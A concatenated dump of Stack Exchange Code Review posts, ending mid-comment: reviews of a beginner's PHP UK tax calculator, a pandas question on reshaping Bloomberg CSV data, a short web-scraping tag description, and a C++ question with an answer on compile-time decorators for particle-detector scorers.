$totalNIContribution = $nationalInsuranceCalculator->get_ni_contributions();
return $totalNIContribution;
}
/*
* Takes gross income less deductions and works out whether the income
* is over the start amount before calculating the repayment amount
* Student loans are also rounded down to the nearest pound.
* @return integer Annual student loan repayment amount
*/
public function get_student_loan_repayment() {
if ($this->persona["gross_annual_income"] >= $this->studentRates["start"]) {
$deductableAmount = $this->persona["gross_annual_income"] - $this->studentRates["start"];
if (isset($this->showChildCareVouchers)) {
$deductableAmount -= $this->showChildCareVouchers;
}
$deduction = ($deductableAmount / 100) * $this->studentRates["rate"];
}
return floor($deduction);
}
/*
* Checks the pension amount for a % symbol and if found calculates the
* percentage based on the annual income. If there is no %, the entered
* amount will be used instead.
* @return integer Annual pension amount
*/
public function get_employers_pension_amount() {
preg_match('/[%]/', $this->persona["pension_contribution_is"], $pensionPercentage);
if (!empty($pensionPercentage) && $pensionPercentage[0] === "%") {
$pensionPercentageAmount = preg_replace('/\D/', '', $this->persona["pension_contribution_is"]);
if ($this->persona["pension_every_x"] === "month") {
$monthlyIncome = $this->persona["gross_annual_income"] / 52;
$pensionAmount = ($monthlyIncome / 100) * $pensionPercentageAmount;
$annualAmount = $pensionAmount * 52;
return $annualAmount;
} else {
$annualAmount = ($this->persona["gross_annual_income"] / 100) * $pensionPercentageAmount;
return $annualAmount;
}
} else {
if ($this->persona["pension_every_x"] === "month") {
$monthlyIncome = $this->persona["gross_annual_income"] / 52;
$pensionAmount = $this->persona["pension_contribution_is"];
$annualAmount = $pensionAmount * 52;
return $annualAmount;
} else {
$annualAmount = $this->persona["pension_contribution_is"];
return $annualAmount;
}
}
}
/*
* Checks tax banding to see whether income is in a higher or additional band
* If so, calculates the pension relief amount by multiplying the pension
* amount by the tax band rate.
* @return integer Annual HMRC pension relief
*/
public function get_hmrc_employers_pension_amount($pensionAmount) {
$taxBands = $this->calculate_tax_bands();
if ($taxBands["higher"] > 0 && $taxBands["additional"] === 0) {
$pensionHMRC = ($pensionAmount / 100) * $this->taxBand["higher"]["rate"];
return $pensionHMRC;
} elseif ($taxBands["additional"] > 0) {
$pensionHMRC = ($pensionAmount / 100) * $this->taxBand["additional"]["rate"];
return $pensionHMRC;
} else {
$pensionHMRC = ($pensionAmount / 100) * $this->taxBand["basic"]["rate"];
return $pensionHMRC;
}
}
/*
* Checks whether the childcare voucher amount is within the limits allowed and
* if too high, returns the maximum allowed amount. If the amount is in a higher
* or additional tax band, a lower amount will be used.
* @return integer Annual childcare voucher amount
*/
public function get_childcare_voucher_amount() {
$income = $this->persona["gross_annual_income"];
$taxBands = $this->taxBand;
$annualAmount = $this->persona["annual_childcare_vouchers"];
$rates = $this->childCareVoucher;
$pre2011 = $this->persona["is_childcare_pre2011"];
if ($annualAmount > $rates["basic"]) {
$annualAmount = $rates["basic"];
}
if ($income >= $taxBands["higher"]["start"] && $annualAmount > $rates["higher"] && $pre2011 === "") {
$annualAmount = $rates["higher"];
}
if ($income >= $taxBands["additional"]["start"] && $annualAmount > $rates["additional"] && $pre2011 === "") {
if ($this->persona["tax_year_is"] === "year2013_14" || $this->persona["tax_year_is"] === "year2014_15") {
$rates["additional"] = 1320;
$annualAmount = $rates["additional"];
}
$annualAmount = $rates["additional"];
}
return $annualAmount;
}
/*
* Calculate the taxes for user and pull all figures together
* @return mixed Return everything we need to populate the tax calculation table
*/
public function calculate_taxes() {
$this->showGrossIncome = $this->persona["gross_annual_income"];
$this->showTaxFreeAllowance = $this->get_tax_free_allowance();
$this->totalTaxableAmount = $this->showGrossIncome - $this->showTaxFreeAllowance;
$this->showTotalDeduction = 0;
if ($this->persona["is_married"] === "on" && $this->persona["age_is"] === "over_75") {
$this->showMarriedAllowance = $this->get_married_couples_allowance();
}
if ($this->persona["is_blind"] === "on") {
$this->showBlindAllowance = $this->get_blind_persons_allowance();
$this->showTaxFreeAllowance += $this->showBlindAllowance;
$this->totalTaxableAmount -= $this->showBlindAllowance;
}
if (isset($this->persona["tax_code_is"])) {
$this->get_tax_code_personal_allowance();
}
if (isset($this->persona["pension_contribution_is"])) {
$this->showEmployerPension = $this->get_employers_pension_amount();
$this->showPensionHMRC = $this->get_hmrc_employers_pension_amount($this->showEmployerPension);
$this->totalTaxableAmount -= $this->showEmployerPension;
$this->showTotalDeduction += $this->showEmployerPension;
}
if (isset($this->persona["annual_childcare_vouchers"])) {
$this->showChildCareVouchers = $this->get_childcare_voucher_amount();
$this->totalTaxableAmount -= $this->showChildCareVouchers;
$this->showTotalDeduction += $this->showChildCareVouchers;
}
if ($this->persona["has_student_loan"] === "on") {
$this->showStudentLoanAmount = $this->get_student_loan_repayment();
$this->showTotalDeduction += $this->showStudentLoanAmount;
}
if ($this->persona["exclude_ni"] === "on" || $this->persona["age_is"] === "over_75" || $this->persona["age_is"] === "65_74") {
$this->showNIContribution = 0;
} else {
$this->showNIContribution = $this->get_national_insurance_contribution();
$this->showTotalDeduction += $this->showNIContribution;
}
if ($this->showGrossIncome <= $this->showTaxFreeAllowance) {
$this->totalTaxableAmount = 0;
$this->totalTaxDue = 0;
} else {
$this->deduction = $this->calculate_tax_bands();
$this->totalTaxDue = $this->deduction["basic"] + $this->deduction["higher"] + $this->deduction["additional"];
$this->showTotalDeduction += $this->totalTaxDue;
}
$this->showNetIncome = $this->showGrossIncome - $this->showTotalDeduction;
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:36:18.383",
"Id": "82569",
"Score": "1",
"body": "Just a quick comment, before I take the time for a more thorough review [Coding standards are very important](http://www.php-fig.org). Try to adhere to them as much as you can. In this particular instance, you'll soon find that that will make all those `require_once` and `include` statements utterly redundant"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:06:11.650",
"Id": "82747",
"Score": "0",
"body": "I looked through the site you linked to but wasn't really sure what I was looking at. Care to elaborate for a newb? Nevermind, I figured it out. Looking at autoload now :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2017-01-09T22:11:34.193",
"Id": "287279",
"Score": "1",
"body": "I have rolled back the last edit. Please see *[what you may and may not do after receiving answers](http://meta.codereview.stackexchange.com/a/1765)*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-27T19:33:59.460",
"Id": "427541",
"Score": "0",
"body": "Hi lan is it possible for you to share the code"
}
] | [
{
"body": "<p>I'm not too familiar with PHP, so just a few generic notes:</p>\n\n<ol>\n<li><p>For this:</p>\n\n<blockquote>\n<pre><code>/*\n * Sets the default values we need when the class is instantiated.\n * @param array $persona User submitted inputs\n * @param array $income_tax_rates Raw data for all tax years \n */\n\n public function __construct($persona) {\n</code></pre>\n</blockquote>\n\n<p>I'd use the same indentation level for both comments and functions since they're connected to each other:</p>\n\n<pre><code>/*\n* Sets the default values we need when the class is instantiated.\n* @param array $persona User submitted inputs\n* @param array $income_tax_rates Raw data for all tax years \n*/\npublic function __construct($persona) {\n</code></pre>\n\n<p>You should also use consistent indentation in other places too.</p></li>\n<li><p>Instead of the following function you could use PHP's built-in <a href=\"http://www.php.net/manual/en/function.min.php\" rel=\"nofollow noreferrer\"><code>min</code></a> function:</p>\n\n<pre><code>public function get_lower_figure($a, $b) {\n if ($a <= $b) {\n return $a;\n } else {\n return $b;\n }\n}\n</code></pre></li>\n<li><p>Don't use floating point varibles for currency, they are not precise.</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/q/3730019/843804\">Why not use Double or Float to represent currency?</a></li>\n<li><a href=\"https://stackoverflow.com/q/2248835/843804\">How to deal with strange rounding of floats in PHP</a></li>\n</ul></li>\n<li><p><code>persona</code> seems to be an array. I would consider creating an object for it as well as for its keys. With an <code>Age</code> object you could change this:</p>\n\n<blockquote>\n<pre><code>if ($this->persona[\"age_is\"] === \"65_74\" || $this->persona[\"age_is\"] === \"over_75\") {\n</code></pre>\n</blockquote>\n\n<p>to a more type-safe version:</p>\n\n<pre><code>if ($this->persona->age->isOver65()) { \n</code></pre>\n\n<p>It would also reduce duplication of array keys though the code and would be easier to read.</p></li>\n<li><p><code>52</code> is used multiple times. You should create a named constant for it with a descriptive name.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:03:19.427",
"Id": "82744",
"Score": "1",
"body": "Thanks for the pointers. I've taken your advice and started check my indentation, replaced that function with min() and I'm looking into creating a persona object. I've not done that before so I'm doing some reading first."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:04:38.540",
"Id": "82758",
"Score": "0",
"body": "@ian: I'm glad that you find it helpful. The `Persona` object should be similar to you `TaxCalculation` object, probably with setter/getter methods."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T17:06:36.003",
"Id": "47074",
"ParentId": "47073",
"Score": "6"
}
},
{
"body": "<p>There is a lot that could be improved so at least a couple of points. In case that you need further explanation I will gladly explain it in comments.</p>\n\n<ol>\n<li><p>Having public class attributes is usually sign of bad design:</p>\n\n<pre><code>public $persona;\npublic $taxRates;\npublic $taxBand;\npublic $taxFreeAllowance;\npublic $personalAllowance;\npublic $totalTaxableAmount;\n</code></pre>\n\n<p>You should initialize attributes in constructor or with <code>setAttributeName($attributeName)</code> methods:</p>\n\n<pre><code>private $persona;\n\npublic function setPersona($persona) { $this->persona = $persona; }\n</code></pre>\n\n<p>If you need to access attribute outside of the class then you should have <code>getAttributeName()</code> methods:</p>\n\n<pre><code>public function getPersona() { return $this->persona; }\n</code></pre>\n\n<p>Inside class it is ok to access attribute directly using <code>$this->persona</code>.</p></li>\n<li><p>Do not include files inside class method:</p>\n\n<pre><code>public function __construct($persona) {\n include('data/income_tax_rates.php');\n include('data/national_insurance_rates.php');\n include('data/student_loan_rates.php');\n include('data/childcare_voucher_rates.php');\n $this->persona = $persona;\n $this->taxRates = $income_tax_rates;\n $this->niRates = $national_insurance_rates;\n $this->taxYear = $this->persona[\"tax_year_is\"];\n $this->taxBand = $this->taxRates[$this->taxYear][\"rates\"];\n $this->taxFreeAllowance = $this->taxRates[$this->taxYear][\"allowances\"];\n $this->studentRates = $student_loan_rates[$this->taxYear];\n $this->childCareVoucher = $annual_childcare_voucher_rates;\n}\n</code></pre>\n\n<p>It should be like this:</p>\n\n<pre><code>public function __construct($persona, $taxRates, $niRates, $taxYear, $taxBand, $taxFreeAllowance, $studentRates, $childCareVoucher) {\n $this->persona = $persona;\n $this->taxRates = $taxRates;\n $this->niRates = $niRates;\n $this->taxYear = $taxYear;\n $this->taxBand = $taxBand;\n $this->taxFreeAllowance = $taxFreeAllowance;\n $this->studentRates = $studentRates;\n $this->childCareVoucher = $childCareVoucher;\n}\n</code></pre>\n\n<ul>\n<li>Constructor or <code>setAttributeName($attributeName)</code> methods should be used for passing variables from outside of the class to class.</li>\n<li>What if you decide to use the class in some other project? It would always mean to move it together with other files.</li>\n<li>Design like this is not easy to be tested by test frameworks.</li>\n<li>You can find a lot of good articles about OOP, for example <a href=\"http://www.codeproject.com/Articles/567768/Object-Oriented-Design-Principles\" rel=\"nofollow\">here</a>.</li>\n</ul></li>\n<li><p>Do not write method documentation like this:</p>\n\n<pre><code>/*\n * Sets the default values we need when the class is instantiated.\n * @param array $persona User submitted inputs\n * @param array $income_tax_rates Raw data for all tax years\n */\n</code></pre>\n\n<p>Better to write it like this:</p>\n\n<pre><code>/*\n * Sets the default values we need when the class is instantiated.\n *\n * @param array $persona User submitted inputs\n * @param array $income_tax_rates Raw data for all tax years\n */\n</code></pre>\n\n<ul>\n<li>Imagine that you would have 10 params and then you would need to add\n11th with way longer name than other parameters, that would require\nindenting all other parameters.</li>\n<li>Readability is the same without indenting.</li>\n<li>Indenting might cause problems displaying documentation hints in some\nIDEs.</li>\n</ul></li>\n<li><p>Do not use empty line between method documentation and method definition:</p>\n\n<pre><code>/*\n * Takes two numbers and determines which is the lower figure.\n * @param integer $a,$b Used to compare integers in other functions\n * @return integer The lowest value of the two checked\n */\n\npublic function get_lower_figure($a, $b) {\n if ($a <= $b) {\n return $a;\n } else {\n return $b;\n }\n}\n</code></pre>\n\n<p>It should be like this:</p>\n\n<pre><code>/*\n * Sets the default values we need when the class is instantiated.\n *\n * @param array $persona User submitted inputs\n * @param array $income_tax_rates Raw data for all tax years\n */\npublic function get_lower_figure($a, $b) {\n if ($a <= $b) {\n return $a;\n } else {\n return $b;\n }\n}\n</code></pre></li>\n<li><p>There is built in method for this in PHP, the method is called \"min\":</p>\n\n<pre><code>public function get_lower_figure($a, $b) {\n if ($a <= $b) {\n return $a;\n } else {\n return $b;\n }\n}\n</code></pre>\n\n<ul>\n<li><a href=\"http://www.php.net/manual/en/function.min.php\" rel=\"nofollow\">Documentation for min method</a></li>\n</ul></li>\n<li><p>This can be simplified (applies to other issues like this as well):</p>\n\n<pre><code>if ($personalAllowance < 0) {\n $personalAllowance = 0;\n}\n\nreturn $personalAllowance;\n</code></pre>\n\n<p>It should be like this:</p>\n\n<pre><code>return ($personalAllowance < 0) ? 0 : $personalAllowance;\n</code></pre></li>\n<li><p>This can be simplified (applies to other issues like this as well):</p>\n\n<pre><code>public function get_blind_persons_allowance() {\n $blind_persons_allowance = $this->taxFreeAllowance[\"blind_persons\"];\n return $blind_persons_allowance;\n}\n</code></pre>\n\n<p>It should be like this:</p>\n\n<pre><code>public function get_blind_persons_allowance() {\n return $this->taxFreeAllowance[\"blind_persons\"];\n} \n</code></pre></li>\n<li><p>It is better to have single exit point in a method, that means not multiple return statements in a method.</p></li>\n<li><p>Variable <code>$monthlyIncome</code> not used in method <code>get_employers_pension_amount()</code>, comment in code:</p>\n\n<pre><code>if ($this->persona[\"pension_every_x\"] === \"month\") {\n // This variable is not used anywhere before return statement\n $monthlyIncome = $this->persona[\"gross_annual_income\"] / 52;\n\n $pensionAmount = $this->persona[\"pension_contribution_is\"];\n $annualAmount = $pensionAmount * 52;\n\n return $annualAmount;\n} else {\n $annualAmount = $this->persona[\"pension_contribution_is\"];\n\n return $annualAmount;\n}\n</code></pre></li>\n<li><p>Value in variable <code>$annualAmount</code> is reassigned right after it is assigned, method <code>get_children_voucher_amount()</code>, comment in code:</p>\n\n<pre><code>if ($income >= $taxBands[\"additional\"][\"start\"] && $annualAmount > $rates[\"additional\"] && $pre2011 === \"\") {\n if ($this->persona[\"tax_year_is\"] === \"year2013_14\" || $this->persona[\"tax_year_is\"] === \"year2014_15\") {\n $rates[\"additional\"] = 1320;\n // You assign value here, you do not use it for any operation\n $annualAmount = $rates[\"additional\"];\n }\n // You reassign the value here, assignment above is not needed\n $annualAmount = $rates[\"additional\"];\n}\n</code></pre></li>\n<li><p><code>isset</code> vs <code>array_key_exists</code>:</p>\n\n<pre><code>if (isset($this->persona[\"annual_childcare_vouchers\"])) {\n $this->showChildCareVouchers = $this->get_childcare_voucher_amount();\n $this->totalTaxableAmount -= $this->showChildCareVouchers;\n $this->showTotalDeduction += $this->showChildCareVouchers;\n}\n</code></pre>\n\n<p>You are using the <code>isset</code> method for checking if array key exists. It works, but there is special method for that called <code>array_key_exists</code>.</p></li>\n<li><p><code>\"\"</code> vs <code>''</code>:</p>\n\n<p>If string does not contain any variables it is generally better to use <code>''</code>, because PHP does not need to check if there is variable inside the string and the interpretation of script is a bit faster.</p></li>\n<li><p>Naming your class <code>TaxCalculator</code> would be more suitable, <code>taxCalculation</code> (or better <code>calculateTax</code>) would be more appropriate for a method.</p></li>\n<li><p>Use consistent naming of your variables and methods. Use <code>myMethodName</code> / <code>myVariableName</code> or <code>my_method_name</code> / <code>my_variable_name</code>, not both.</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-19T22:36:30.203",
"Id": "47681",
"ParentId": "47073",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47681",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2014-04-13T17:01:31.477",
"Id": "47073",
"Score": "5",
"Tags": [
"php",
"beginner",
"object-oriented",
"finance"
],
"Title": "UK tax calculator"
} | 47073 |
<p>I retrieved Bloomberg data using the Excel API. In the typical fashion, the first row contains tickers in every fourth column, and the second row has the labels Date, PX_LAST, [Empty Column], Date, PX_LAST, etc. The following rows have dates and last price.</p>
<blockquote>
<pre class="lang-none prettyprint-override"><code> EHFI38 Index BBGID, , , EHFI139 Index BBGID, , ...
Date , PX_LAST , , Date , PX_LAST , ...
1999-12-31 , 100.0000 , , 1999-12-31 , 100.0000 , ...
2000-01-31 , 100.1518 , , 2000-01-31 , 98.6526 , ...
...
</code></pre>
</blockquote>
<p>It seems that the proper data structure would be a DataFrame with dates as the index, and tickers as the column names.</p>
<blockquote>
<pre class="lang-none prettyprint-override"><code> , Date, EHFI38 Index BBGID, EHFI139 Index BBGID, EHFI139 Index BBGID, EHFI84 Index BBGID, ...
0, 1999-12-31, 100.0000 , 100.0000 , 100.0000 , 100.0000, ...
1, 2000-01-31, 100.1518 , 98.6526 , 98.6526 , 104.7575, ...
...
</code></pre>
</blockquote>
<p>I wrote this code, which seems to work when I step through it, but I'm sure I'm not doing it well. I'd like to learn how to do it better.</p>
<pre class="lang-python prettyprint-override"><code># IMPORT
import pandas as pd
import numpy as np
import datetime
# READ IN CSV FILES
# EHFI38 Index BBGID, , , EHFI139 Index BBGID, , ...
# Date , PX_LAST , , Date , PX_LAST , ...
# 1999-12-31 , 100.0000 , , 1999-12-31 , 100.0000 , ...
# 2000-01-31 , 100.1518 , , 2000-01-31 , 98.6526 , ...
# ...
px = pd.read_csv('Book1.csv', sep=',', parse_dates=True)
# REMOVE EMPTY COLUMNS
px = px.dropna(axis=1, how='all')
# CONVERT TO ARRAYS
M = np.array(px)
C = np.array(px.columns)
# FIX UNNAMED COLUMNS IN C
for i in arange( len(C)/2 ) * 2:
C[i+1] = C[i]
# CONVERT EXCEL DATES FUNCTION (THANKS JOHN MACHIN)
def xl2pydate(xldate, datemode):
# datemode: 0 for 1900-based, 1 for 1904-based
return (
datetime.datetime(1899, 12, 30)
+ datetime.timedelta(days=xldate + 1462 * datemode)
)
# CONVERT DATES THE UGLY WAY
# LOOP THROUGH 1,2, ... last row
for i in arange( len(M)-1 ) + 1:
# LOOP THROUGH 0,2, ... last column-1
for j in arange( len(M.T)/2 ) * 2:
# CONVERT DATE & STORE
if isinstance(M[i,j],str) and M[i,j].isdigit():
M[i,j] = xl2pydate(int(M[i,j]), 0)
else:
M[i,j] = NaN
# RECOMBINE IN A DATAFRAME
df = pd.DataFrame(M[1:,:], columns=[C,M[0,:]])
# MERGE DATES
# , Date, EHFI38 Index BBGID, EHFI139 Index BBGID, EHFI139 Index BBGID, EHFI84 Index BBGID, ...
# 0, 1999-12-31, 100.0000 , 100.0000 , 100.0000 , 100.0000, ...
# 1, 2000-01-31, 100.1518 , 98.6526 , 98.6526 , 104.7575, ...
# ...
# LOOP 0,2,...,len-1
for i in arange( (len(df.T))/2 ) * 2:
# GET A DATE, LAST_PX FOR A SINGLE TICKER
b = df[df.columns[i:(i+2)]]
# CHANGE COLUMN NAMES TO DATE, [TICKER]
b.columns = (df.columns[i][1], df.columns[i][0])
# COMBINE
if i==0:
a = b
else:
a = pd.merge(a.dropna(), b.dropna(), on='Date', how='outer')
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-08-22T11:08:25.843",
"Id": "110269",
"Score": "0",
"body": "[Reposted from Stack Overflow](http://stackoverflow.com/questions/23043812/parse-bloomberg-excel-csv-with-pandas-dataframe-new-user)"
}
] | [
{
"body": "<p>You can probably do most of what you want in native Pandas.\nIt has <a href=\"http://pandas.pydata.org/pandas-docs/stable/io.html#excel-files\" rel=\"nofollow\">functions</a> for excel file IO that will probably take care of much of the date-munging.</p>\n\n<p>If you want to carry on with the intermediate <code>.csv</code> file, the following should help.</p>\n\n<p>Because you have an empty column and 3 commas between <code>EHFI38 Index BBGID</code> and <code>EHFI139 Index BBGID</code>, your data are in a slightly strange format. </p>\n\n<pre><code>import pandas as pd\nfrom cStringIO import StringIO\n\ndata = \"\"\"\\\nEHFI38 Index BBGID, , , EHFI139 Index BBGID, \nDate , PX_LAST , , Date , PX_LAST \n1999-12-31 , 100.0000 , , 1999-12-31 , 100.0000 \n2000-01-31 , 100.1518 , , 2000-01-31 , 98.6526\n\"\"\"\ndf = pd.read_csv(StringIO(data), header=[0, 1], parse_dates=True)\ndf\n</code></pre>\n\n<p>There should be a way to sort out the strange indexing but I cannot easily work it out. Try searching for pandas multi-index and hierarchical data.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-08-22T09:31:27.757",
"Id": "60785",
"ParentId": "47077",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T17:58:27.540",
"Id": "47077",
"Score": "1",
"Tags": [
"python",
"beginner",
"numpy",
"csv",
"pandas"
],
"Title": "Parse Bloomberg Excel/CSV with Pandas DataFrame"
} | 47077 |
<p>Web scraping is the use of a program to simulate human interaction with a web server. A common goal is to extract specific information from a web server, especially from web pages whose contents are intended for human consumption rather than machine interpretation. It is usually considered to be a fragile technique, to be used as a last resort when no <a href="/questions/tagged/api" class="post-tag" title="show questions tagged 'api'" rel="tag">api</a> exists to accomplish the desired task.</p>
<p>Another use of web scraping is to make a series of HTTP requests for integration testing of a web application, as if a human were clicking on UI elements.</p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T18:38:26.690",
"Id": "47080",
"Score": "0",
"Tags": null,
"Title": null
} | 47080 |
Web scraping is the use of a program to simulate human interaction with a web server or to extract specific information from a web page. | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T18:38:26.690",
"Id": "47081",
"Score": "0",
"Tags": null,
"Title": null
} | 47081 |
<p>I'm doing some high energy physics modelling in C++. I have written code that implements class that score interactions of particles with detector material. </p>
<p>Here is a base class: </p>
<pre><code>class XYZScorer: public virtual AbstractScorer{
public:
XYZScorer(double material_rad_len=-1):
AbstractScorer(material_rad_len){;}
virtual void RegisterHit(const XYZHit hit)=0;
};
</code></pre>
<p>Function <code>RegisterHit</code> registers single interaction between particle and detector. There are many scorers in this program. </p>
<p>Since modeling experimental data is quite hard, I need to be able to add some features to these scorers and I'll need to be able to easily switch these features on and off. I decided to implement these features using a decorator pattern. Here is decorator base class. </p>
<pre><code>template <typename Scorer>
class ScorerDecorator: public virtual XYZScorer{
protected:
Scorer scorer;
public:
ScorerDecorator(Scorer scorer): XYZScorer(scorer.material_rad_len), scorer(scorer){;}
virtual ~ScorerDecorator(){}
virtual void SetEvent(size_t new_incident){
scorer.SetEvent(new_incident);
}
virtual void CloseAfterRunEnd(){
scorer.CloseAfterRunEnd();
}
};
</code></pre>
<p>Here are two implementations of these decorators: </p>
<pre><code>template <typename Scorer>
class FixZToFirstInteractionScorer: public virtual ScorerDecorator<Scorer>{
private:
bool fixed_in_this_event=false;
double position_of_first_intraction=0;
public:
FixZToFirstInteractionScorer(Scorer scorer): ScorerDecorator<Scorer>(scorer){}
virtual ~FixZToFirstInteractionScorer(){}
virtual void SetEvent(size_t new_incident){
fixed_in_this_event=false;
ScorerDecorator<Scorer>::SetEvent(new_incident);
}
virtual void RegisterHit(const XYZHit hit){
if(!fixed_in_this_event){
fixed_in_this_event=true;
position_of_first_intraction=hit.z;
}
XYZHit fixed_coords = hit;
fixed_coords.z-=position_of_first_intraction;
this->scorer.RegisterHit(fixed_coords);
}
};
</code></pre>
<p>And another one: </p>
<pre><code>template<typename Scorer>
class ApplyEnergyCutsScorer: public virtual ScorerDecorator<Scorer>{
const double e_cut_energy;
public:
ApplyEnergyCutsScorer(Scorer scorer):
ScorerDecorator<Scorer>(scorer), e_cut_energy(GodObject::GetEcut()){}
virtual ~ApplyEnergyCutsScorer(){}
inline bool accept(const XYZHit hit){
double kin_energy = hit.GetParticleKineticEnergy();
if(e_cut_energy < 0){
return true;
}
if (kin_energy <0){
throw new invariant_error("Energy less than zero --- normally it signifies that step wasnt passed to XYZHit");
}
if (kin_energy < e_cut_energy){
return false;
}
return true;
}
virtual void RegisterHit(const XYZHit hit){
if (accept(hit)){
this->scorer.RegisterHit(hit);
}
}
};
</code></pre>
<p>So far so good:</p>
<ul>
<li>Note that due to template usage and <code>scorer</code> not being a pointer there is no virtual function call here at all. This quite important for me because: <code>RegisterHit</code> function is called for every interaction of any particle with the detector (which is quite often), and having multiple virtual table lookups could be slow (I guess).</li>
<li>I can wrap a class in multiple decorators, and compiler will unwrap and inline everyting (I checked that). </li>
</ul>
<p>My problem is with instantiating these decorators, wrapping three of them in single method is ugly. Anyways here is the example (from production code): </p>
<pre><code>template<typename Scorer>
std::shared_ptr<XYZScorer> InitializeAnyScorer(
std::shared_ptr<AbstractGeometry> geometry, Scorer scorer, double cut_off_energy){
if (!geometry->IsEnabled()){
return std::shared_ptr<XYZScorer>(0);
}
std::shared_ptr<XYZScorer> result_scorer;
if (!geometry->GetMoveZToFirstInteraction()){
result_scorer = std::shared_ptr<ApplyEnergyCutsScorer<Scorer>>(
new ApplyEnergyCutsScorer<Scorer>(
scorer
)
);
}else{
result_scorer = std::shared_ptr<FixZToFirstInteractionScorer<ApplyEnergyCutsScorer<Scorer>>>(
new FixZToFirstInteractionScorer<ApplyEnergyCutsScorer<Scorer>>(
ApplyEnergyCutsScorer<Scorer>(
scorer
)
)
);
}
return result_scorer;
}
</code></pre>
<p>How can I deal with ugliness of instantiating of my decorated scorers? </p>
<ul>
<li>Is there any better decorator pattern in C++ that is <strong>performed compile time</strong> (I want all decorated functions to be inlineable), and applicable to my problem?</li>
<li>How can my decorated scorers be instantiate in a nicer way? I was considering a variadict template function but I surrendered. </li>
</ul>
<p>Ideally I'd like to be able to use something similar to: </p>
<pre><code>std::shared_ptr<XYZScorer> ptr
= decorate(scorer, FixZToFirstInteractionScorer, ApplyEnergyCutsScorer);
</code></pre>
<p><strong>Non issues</strong></p>
<ul>
<li>Both my code and any solution can work in a single thread mode. </li>
</ul>
| [] | [
{
"body": "<p>I need a bit to look into a cleaner decorator pattern, but three technicalities immediately jump out at me.</p>\n\n<hr>\n\n<p>Accepting a user defined value as const implies that your methods should probably be taking const-references. <code>void f(const T)</code> will make a copy of the value passed to it. <code>void f(const T&)</code> will not, yet it maintains the restriction that <code>T</code> cannot be mutated. Unless there's something I'm missing, I can't see why you're taking all of the <code>XYZHit</code> by const value.</p>\n\n<p>The rules can be a bit more complicated, but in most cases:</p>\n\n<ul>\n<li>If you want to mutate an object and have the changes visible from the outside, accept by reference.</li>\n<li>If you want to mutate an object and not have the changes visible from the outside, accept by value (allowing you to change the copy, not the passed value).</li>\n<li>If you do not want to mutate the object, accept by const-reference.</li>\n</ul>\n\n<hr>\n\n<p>Another issue I immediately see is that you're instantiating <code>shared_ptr</code> directly whereas you should always use <code>make_shared</code>. </p>\n\n<p>There are certain exception safety issues with <code>shared_ptr</code> in the general case (for example: what if you have <code>shared_ptr(new T, new R)</code> and the <code>new T</code> succeeds then <code>new R</code> throws? <code>R</code> will leak).</p>\n\n<p>More importantly for your case though, <code>make_shared</code> exhibits better performance since it can roll the reference count (which has to be heap allocated) and the object allocation into the same allocation. Not only does this save an allocation, but it can also improve cache coherency depending on usage patterns.</p>\n\n<p>As a bonus, it's also a tiny bit less repetitive (though not meaningfully -- it just removes one duplicated type). For example, your biggest instantiation becomes:</p>\n\n<pre><code>std::make_shared<FixZToFirstInteractionScorer<ApplyEnergyCutsScorer<Scorer>>>(ApplyEnergyCutsScorer(scorer));\n</code></pre>\n\n<hr>\n\n<p>When you're not taking (partial) ownership of a <code>shared_ptr</code>, you should take it by const-reference. This allows you avoid making an unnecessary copy of the pointer which will in turn do significant bookkeeping work behind the scenes only to undo it when the function returns. Since <code>InitializeAnyScorer</code> has no interest in becoming a partial owner of <code>geometry</code>, there's no reason to make copy of the <code>shared_ptr</code> when a const reference will do.</p>\n\n<hr>\n\n<p>Also, on a bit of a design tangent, are you sure you need <code>shared_ptr</code>? I'm a bit afraid you've only used it because it's convenient to have copy semantics. If you only have one object or scope owning something, you can use a <code>unique_ptr</code> and pass it by const-reference instead of making copies. If you actually need shared ownership semantics, then yes, of course go with <code>shared_ptr</code>. If there is single ownership though, <code>unique_ptr</code> has much, much better performance than <code>shared_ptr</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:08:34.103",
"Id": "82504",
"Score": "0",
"body": "You are right about most of things. \n\nThis my first project in C++, really. I took some courses 5+ years ago, but from then only highter level stuff. When I decided to used ``shared_ptr`` I was just baffled by the complexity of move semantics.\n\nMaybe a simple clarification is shared_ptr::operator-> slower than unique_ptr::operator->, or copying is more expensive. \n\nI also agree that I probably should use XYZHit&, but It should be irrevelant in case of performance as it is optimized out ;). I'll check it however."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:23:22.580",
"Id": "82518",
"Score": "0",
"body": "@jb. Dereferencing should be the same speed for both shared_ptr and unique_ptr. Dereferencing should be just the same as dereferencing a normal pointer provided the compiler does its magic and inlines `operator->` or `operator*` call. The performance hit comes from shared_ptr doing a lot more work than `unique_ptr` to keep track of meta data about the managed object. `unique_ptr` is just a glorified RAII container."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:30:38.327",
"Id": "82521",
"Score": "0",
